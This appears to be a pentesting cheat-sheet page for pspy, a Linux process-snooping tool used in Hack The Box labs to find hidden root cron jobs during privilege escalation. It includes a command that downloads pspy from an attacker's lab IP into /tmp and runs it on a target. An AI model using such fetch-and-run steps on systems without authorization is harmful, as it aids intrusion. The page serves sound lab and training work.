pspy
Many root jobs do not show up in /etc/crontab (they live in root's crontab or in timers). pspy watches /proc and the filesystem and shows you every command that runs, with its UID and arguments.
- Platform
- Linux (Go)
- Official site
- github.com/DominicBreuker/pspy
- On HTB
- 13 machines
Install
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64pspy cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Usage
Processes and file events, every second
Target
chmod +x pspy64 && ./pspy64 -pf -i 1000
On 32-bit systems
Target
./pspy32In our cheatsheets
Linux privilege escalation › Checks
Watch processes as they start (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Without pspy (bash)
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; doneNo command matches.
HTB machines where pspy is used
Taken from the chapters of IppSec videos where pspy shows up. The ▶ link jumps to the minute of that part.
Guides that use pspy
- Linux privilege escalation: cron jobs, PATH hijacking, wildcards and the docker or lxd groups 4 min read When sudo and SUID give nothing: cron jobs with pspy, PATH hijacking, tar and rsync wildcards, and root from the docker, lxd, disk or adm groups.